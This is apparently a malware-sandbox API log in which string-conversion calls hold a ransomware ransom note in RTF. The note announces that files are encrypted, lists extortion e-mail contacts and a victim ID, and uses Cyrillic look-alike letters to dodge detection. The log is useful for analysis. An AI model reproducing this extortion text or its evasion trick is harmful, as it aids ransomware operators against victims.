d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.545] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 